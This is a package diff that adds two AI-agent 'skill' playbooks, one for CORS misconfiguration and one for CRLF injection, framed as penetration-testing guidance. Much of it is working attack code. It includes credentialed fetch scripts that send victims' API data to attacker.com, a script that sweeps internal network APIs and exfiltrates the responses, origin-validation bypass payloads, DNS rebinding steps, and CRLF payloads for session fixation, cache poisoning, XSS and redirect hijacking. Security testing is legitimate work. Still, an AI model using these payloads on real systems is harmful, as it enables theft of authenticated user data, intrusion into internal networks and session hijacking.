ineedcodes 1.6.0 → 1.7.0

package/skills/cors-cross-origin-misconfiguration/SKILL.md

@@ -0,0 +1,270 @@
+---
+name: cors-cross-origin-misconfiguration
+description: >-
+  CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.gated: true
+---
+
+# SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors
+
+> **AI LOAD INSTRUCTION**: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion [SCENARIOS.md](./SCENARIOS.md).
+
+### Extended Scenarios
+
+Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
+- JSONP hijacking complete attack scenario — watering hole + `<script>` cross-origin data theft
+- Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
+- Same-origin policy deep dive — protocol/hostname/port definition, `document.domain` subdomain relaxation and its security risks
+- CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
+- CORS exploitation payloads — reflected origin with `credentials: include`, null origin via sandboxed iframe
+- Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup
+
+## 1. WHEN TO LOAD THIS SKILL
+
+Load when:
+
+- Responses contain `Access-Control-Allow-Origin`, `Access-Control-Allow-Credentials`, or preflight headers
+- A browser-based attack path might read authenticated API responses
+- JSON endpoints appear protected from CSRF but are readable cross-origin
+
+## 2. HIGH-VALUE MISCONFIGURATION CHECKS
+
+| Theme | What to Check |
+|---|---|
+| wildcard with credentials | `Access-Control-Allow-Origin: *` plus credential support or equivalent broken behavior |
+| reflected origin | server echoes arbitrary `Origin` |
+| weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors |
+| `null` origin | acceptance of sandboxed, file, or serialized origins |
+| preflight trust | overbroad methods and headers |
+| internal API exposure | admin or tenant data readable cross-origin |
+
+## 3. QUICK TRIAGE
+
+1. Send crafted `Origin` headers and inspect reflection.
+2. Test with and without credentials.
+3. Probe allowlist bypasses using attacker subdomains and parser edge cases.
+4. If readable data is sensitive, chain to account or tenant impact.
+
+## 4. RELATED ROUTES
+
+- Session or JSON action abuse: [csrf cross site request forgery](../csrf-cross-site-request-forgery/SKILL.md)
+- OAuth token leakage and callback binding: [oauth oidc misconfiguration](../oauth-oidc-misconfiguration/SKILL.md)
+- API auth context: [api auth and jwt abuse](../api-auth-and-jwt-abuse/SKILL.md)
+
+---
+
+## 5. NULL ORIGIN EXPLOITATION
+
+### How `Origin: null` is sent
+
+| Context | Origin Header Value |
+|---------|-------------------|
+| Sandboxed iframe (`<iframe sandbox>`) | `null` |
+| `data:` URI scheme | `null` |
+| `file:` protocol (local HTML) | `null` |
+| Cross-origin redirect chain (some browsers) | `null` |
+| Serialized data in `blob:` URL from opaque origin | `null` |
+
+### Exploitation
+
+If the server includes `null` in its origin allowlist or reflects it:
+
+```http
+Access-Control-Allow-Origin: null
+Access-Control-Allow-Credentials: true
+```
+
+```html
+<iframe sandbox="allow-scripts allow-forms" srcdoc="
+<script>
+fetch('https://target.com/api/user/profile', {credentials: 'include'})
+  .then(r => r.json())
+  .then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
+</script>
+"></iframe>
+```
+
+The sandboxed iframe sends `Origin: null` → server reflects `null` → attacker reads credentialed response.
+
+---
+
+## 6. SUBDOMAIN XSS → CORS BYPASS CHAIN
+
+### Attack flow
+
+```text
+1. Target API at api.target.com allows CORS from *.target.com
+2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
+3. Exploit XSS to make credentialed requests to api.target.com
+4. CORS allows the request → attacker reads sensitive API responses
+```
+
+### PoC (injected via XSS on blog.target.com)
+
+```javascript
+fetch('https://api.target.com/v1/user/profile', {
+    credentials: 'include'
+})
+.then(r => r.json())
+.then(data => {
+    navigator.sendBeacon('https://attacker.com/exfil',
+        JSON.stringify(data));
+});
+```
+
+### Why this works
+
+- `blog.target.com` is **same-site** with `api.target.com` → `SameSite` cookies sent
+- CORS allowlist includes `*.target.com` → `Access-Control-Allow-Origin: https://blog.target.com`
+- Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain
+
+### Reconnaissance for this chain
+
+```text
+□ Enumerate subdomains (amass, subfinder, crt.sh)
+□ Test each for XSS (stored, reflected, DOM)
+□ Check if API CORS accepts subdomain origins
+□ Subdomain takeover candidates also qualify
+```
+
+---
+
+## 7. VARY: ORIGIN CACHING ISSUE
+
+### Problem
+
+When the server reflects `Origin` in `Access-Control-Allow-Origin` but does **not** include `Vary: Origin` in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:
+
+```text
+1. Attacker requests: Origin: https://attacker.com
+   Response cached with: Access-Control-Allow-Origin: https://attacker.com
+
+2. Victim requests same URL (no Origin or different Origin)
+   Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
+   → Victim's browser allows attacker.com to read the response (CORS cache poisoning)
+```
+
+### Detection
+
+```bash
+# Request 1: with attacker origin
+curl -H "Origin: https://evil.com" https://target.com/api/data -I
+
+# Request 2: with legitimate origin
+curl -H "Origin: https://target.com" https://target.com/api/data -I
+
+# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
+# → cache poisoned, Vary: Origin is missing
+```
+
+### Exploitation
+
+```text
+1. Warm the cache: send request with Origin: https://attacker.com
+2. Wait for victim to access the same cached URL
+3. Cached ACAO header allows attacker.com to read the response
+4. Attacker page fetches the URL → reads cached response with credentials
+```
+
+### Fix verification
+
+```text
+□ Response includes Vary: Origin
+□ Cache key includes the Origin header
+□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)
+```
+
+---
+
+## 8. REGEX BYPASS PATTERNS
+
+Common flawed regex patterns for origin validation:
+
+| Intended Pattern | Flaw | Bypass Origin |
+|-----------------|------|---------------|
+| `^https?://.*\.target\.com$` | `.*` matches anything including `-` | `https://attacker-target.com` |
+| `^https?://.*target\.com$` | Missing anchor after subdomain | `https://nottarget.com`, `https://attacker.com/.target.com` |
+| `target\.com` (substring match) | No anchors | `https://attacker.com?target.com` |
+| `^https?://(.*\.)?target\.com$` | Missing port restriction | `https://target.com.attacker.com:443` |
+| `^https://[a-z]+\.target\.com$` | Missing end anchor for path | N/A (but misses subdomains with `-` or digits) |
+| Backtracking-vulnerable regex | ReDoS | `https://aaaa...aaa.target.com` (CPU exhaustion) |
+
+### Test payloads for origin validation bypass
+
+```text
+https://attacker.com/.target.com
+https://target.com.attacker.com
+https://attackertarget.com
+https://target.com%60attacker.com
+https://target.com%2F@attacker.com
+https://attacker.com#.target.com
+https://attacker.com?.target.com
+null
+```
+
+### Advanced: Unicode normalization bypass
+
+```text
+https://target.com → https://ⓣarget.com (Unicode homoglyph)
+```
+
+Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.
+
+---
+
+## 9. INTERNAL NETWORK CORS EXPLOITATION
+
+### Scenario
+
+An internal-only API (e.g., `http://192.168.1.100:8080/admin`) is configured with:
+```http
+Access-Control-Allow-Origin: *
+```
+
+Internal APIs often use wildcard CORS because "only internal users can reach it."
+
+### Attack chain
+
+```text
+1. Attacker sends victim (internal employee) a link to attacker.com
+2. Attacker page JavaScript fetches internal API:
+   fetch('http://192.168.1.100:8080/admin/users')
+3. CORS allows * → response readable
+4. Exfiltrate internal data to attacker server
+```
+
+```javascript
+// On attacker.com — target internal API from victim's browser
+const internalAPIs = [
+    'http://192.168.1.1/admin/config',
+    'http://10.0.0.1:8080/api/users',
+    'http://172.16.0.1:9200/_cat/indices',  // Elasticsearch
+    'http://localhost:8500/v1/agent/members', // Consul
+];
+
+internalAPIs.forEach(url => {
+    fetch(url)
+        .then(r => r.text())
+        .then(data => {
+            navigator.sendBeacon('https://attacker.com/exfil',
+                JSON.stringify({url, data}));
+        })
+        .catch(() => {});
+});
+```
+
+### Port scanning via CORS timing
+
+Even without `Access-Control-Allow-Origin: *`, the attacker can infer internal service availability:
+- **Port open**: connection established → CORS error (different timing)
+- **Port closed**: connection refused → fast error
+- **Host down**: timeout → slow error
+
+### Combined with DNS rebinding
+
+```text
+1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
+2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
+3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
+4. JavaScript on the page fetches attacker.com/admin → now hits internal server
+5. Same-origin policy satisfied (same domain) → response readable
+```

package/skills/crlf-injection/SKILL.md

@@ -0,0 +1,179 @@
+---
+name: crlf-injection
+description: >-
+  CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.gated: true
+---
+
+# SKILL: CRLF Injection — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.
+
+## 0. RELATED ROUTING
+
+- [ghost-bits-cast-attack](../ghost-bits-cast-attack/SKILL.md) when the target is a **Java service** and `%0D%0A` / `\r\n` encodings are WAF-blocked — substituting `瘍` (U+760D, low byte `\r`) and `瘊` (U+760A, low byte `\n`) injects a real CRLF through Angus Mail / Jakarta Mail SMTP, Apache HttpClient headers, JDK HttpServer responses, and ActiveJ HTTP (re-enables Jira CVE-2025-57733 and JDK CVE-2026-21933 classes)
+
+## 1. CORE CONCEPT
+
+CRLF = `\r\n` (Carriage Return + Line Feed, `%0D%0A`). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.
+
+```
+Normal: Location: /page?url=USER_INPUT
+Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
+Result: Two headers — Location + injected Set-Cookie
+```
+
+---
+
+## 2. DETECTION
+
+### Basic Probe
+
+```text
+%0D%0ANew-Header:injected
+
+# In URL parameter:
+https://target.com/redirect?url=%0D%0AX-Injected:true
+
+# Check response headers for "X-Injected: true"
+```
+
+### Double CRLF — Body Injection
+
+Two consecutive CRLF sequences end headers and start body:
+
+```text
+%0D%0A%0D%0A<script>alert(1)</script>
+
+# Result:
+HTTP/1.1 302 Found
+Location: /page
+
+<script>alert(1)</script>
+```
+
+---
+
+## 3. EXPLOITATION SCENARIOS
+
+### Session Fixation via Set-Cookie
+
+```text
+%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
+```
+
+### XSS via Response Body
+
+```text
+%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
+```
+
+### Cache Poisoning
+
+If the response is cached by a CDN or proxy, injected headers/body are served to all users:
+
+```text
+GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
+```
+
+### Log Injection
+
+CRLF in log-visible fields (User-Agent, Referer) can forge log entries:
+
+```text
+User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
+```
+
+---
+
+## 4. FILTER BYPASS
+
+| Filter | Bypass |
+|---|---|
+| Blocks `%0D%0A` | Try `%0D` alone, `%0A` alone, or `%E5%98%8A%E5%98%8D` (Unicode) |
+| URL decodes once | Double-encode: `%250D%250A` |
+| Strips `\r\n` literally | Use URL-encoded form |
+| Blocks in value only | Inject in parameter name |
+
+```text
+# Unicode/UTF-8 bypass:
+%E5%98%8A%E5%98%8D  → decoded as CRLF in some parsers
+
+# Double URL encoding:
+%250D%250A → server decodes to %0D%0A → interpreted as CRLF
+
+# Partial injection (LF only):
+%0A → some servers accept LF without CR
+```
+
+---
+
+## 5. REAL-WORLD EXPLOITATION CHAINS
+
+### CRLF + Session Fixation
+
+```text
+# Inject Set-Cookie via CRLF in redirect parameter:
+?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
+
+# Result:
+HTTP/1.1 302 Found
+Location: /page
+Set-Cookie: PHPSESSID=attacker_controlled_session_id
+
+# Victim uses attacker's session → attacker hijacks after login
+```
+
+### CRLF → XSS via Double CRLF Body Injection
+
+```text
+# Two CRLF sequences end headers and inject response body:
+?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
+
+# Result:
+HTTP/1.1 302 Found
+Location: /page
+
+<script>alert(document.cookie)</script>
+```
+
+### CRLF in 302 Location → Redirect Hijack
+
+```text
+# Inject new Location header before the original:
+?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
+
+# Some servers use the LAST Location header → redirect to evil.com
+```
+
+---
+
+## 6. COMMON VULNERABLE PATTERNS
+
+```php
+// PHP — header() with user input (PHP < 5.1.2 vulnerable):
+header("Location: " . $_GET['url']);
+
+// Python — redirect with unsanitized input:
+return redirect(request.args.get('next'))
+
+// Node.js — setHeader with user input:
+res.setHeader('X-Custom', userInput);
+
+// Java — response.setHeader with user input:
+response.setHeader("Location", request.getParameter("url"));
+```
+
+---
+
+## 7. TESTING CHECKLIST
+
+```
+□ Inject %0D%0A in redirect URL parameters
+□ Inject %0D%0A in Set-Cookie name/value paths
+□ Try double CRLF for body injection → XSS
+□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
+□ Check if response is cacheable → cache poisoning
+□ Test in User-Agent / Referer for log injection
+□ Test CRLF + Set-Cookie for session fixation
+□ Verify if Location header can be injected in 302 responses
+```